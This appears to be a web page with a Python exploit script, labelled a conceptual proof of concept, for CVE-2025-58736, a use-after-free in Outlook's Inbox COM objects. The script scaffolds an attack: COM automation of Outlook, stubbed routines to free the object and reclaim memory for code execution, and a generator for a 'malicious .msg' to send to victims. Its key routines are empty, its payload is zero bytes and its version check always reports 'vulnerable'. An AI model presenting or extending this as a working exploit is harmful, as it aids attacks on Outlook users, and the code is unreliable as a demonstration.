CVE-2025-58736：Microsoft Inbox COM对象释放后使用漏洞

# CVE-2025-58736 - Outlook Inbox COM Object Use After Free PoC (Conceptual) # This is a conceptual PoC demonstrating the vulnerability pattern. # Actual exploitation requires specific environment and crafted inputs. import subprocess import os import time class OutlookInboxExploit: """ PoC for CVE-2025-58736: Use After Free in Inbox COM Objects This demonstrates the conceptual exploitation approach for the Outlook Inbox COM object use-after-free vulnerability. """ def __init__(self): self.target_process = "OUTLOOK.EXE" self.com_object_guid = "{0006F0AB-...}" # Inbox COM object CLSID self.payload = None def check_vulnerable_version(self): """Check if the installed Outlook version is vulnerable""" try: # Check Outlook version via registry result = subprocess.run( ['reg', 'query', 'HKLM\\SOFTWARE\\Microsoft\\Office\\ClickToRun\\Configuration'], capture_output=True, text=True ) # Parse version information # Vulnerable versions would be those before the October 2025 patch return True # Simplified check except Exception as e: print(f"Version check failed: {e}") return False def trigger_uaf(self, crafted_email_path): """ Trigger the use-after-free by processing a crafted email that causes the Inbox COM object to be freed while still referenced. """ print(f"[*] Loading crafted email: {crafted_email_path}") # Step 1: Open Outlook via COM automation import win32com.client try: outlook = win32com.client.Dispatch("Outlook.Application") namespace = outlook.GetNamespace("MAPI") # Step 2: Access Inbox folder (triggers COM object creation) inbox = namespace.GetDefaultFolder(6) # olFolderInbox = 6 # Step 3: Process crafted email that triggers UAF condition # The crafted email causes premature object release mail_item = inbox.Items.Add(0) # olMailItem = 0 # Step 4: Trigger the use-after-free condition # By manipulating object lifecycle, we cause the COM object # to be freed while still being referenced self._manipulate_com_lifecycle(inbox, mail_item) # Step 5: Access freed memory to achieve code execution self._exploit_freed_memory() except Exception as e: print(f"Exploit attempt: {e}") def _manipulate_com_lifecycle(self, inbox, mail_item): """Manipulate COM object lifecycle to trigger UAF""" # Force release of COM object references # while maintaining dangling pointers for exploitation print("[*] Manipulating COM object lifecycle...") # Implementation would involve specific COM interface calls # that cause premature object release pass def _exploit_freed_memory(self): """Exploit the freed memory region for code execution""" print("[*] Attempting to exploit freed memory...") # Heap spray or controlled allocation to reclaim freed memory # then redirect execution to attacker-controlled payload pass def create_crafted_email(self, output_path): """Create a crafted email file to trigger the vulnerability""" # Create a .msg file with specific properties that trigger # the UAF condition when processed by Outlook email_content = self._generate_malicious_msg() with open(output_path, 'wb') as f: f.write(email_content) print(f"[+] Crafted email saved to: {output_path}") def _generate_malicious_msg(self): """Generate malicious .msg file content""" # Simplified representation of a crafted MSG file # that triggers the Inbox COM object UAF header = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # OLE compound document header # Actual payload would include specially crafted MAPI properties # designed to trigger the use-after-free condition return header + b'\x00' * 4096 # Placeholder def main(): print("=" * 60) print("CVE-2025-58736 - Outlook Inbox COM UAF PoC") print("=" * 60) exploit = OutlookInboxExploit() if exploit.check_vulnerable_version(): print("[!] Target appears to be vulnerable") # Create crafted email email_path = "crafted_email.msg" exploit.create_crafted_email(email_path) # Trigger exploit (requires user interaction in real scenario) print("[*] In a real attack scenario, the crafted email would be") print(" sent to the victim and triggered when they interact with it.") print("[*] This PoC demonstrates the conceptual approach only.") else: print("[+] Target does not appear to be vulnerable") if __name__ == "__main__": main()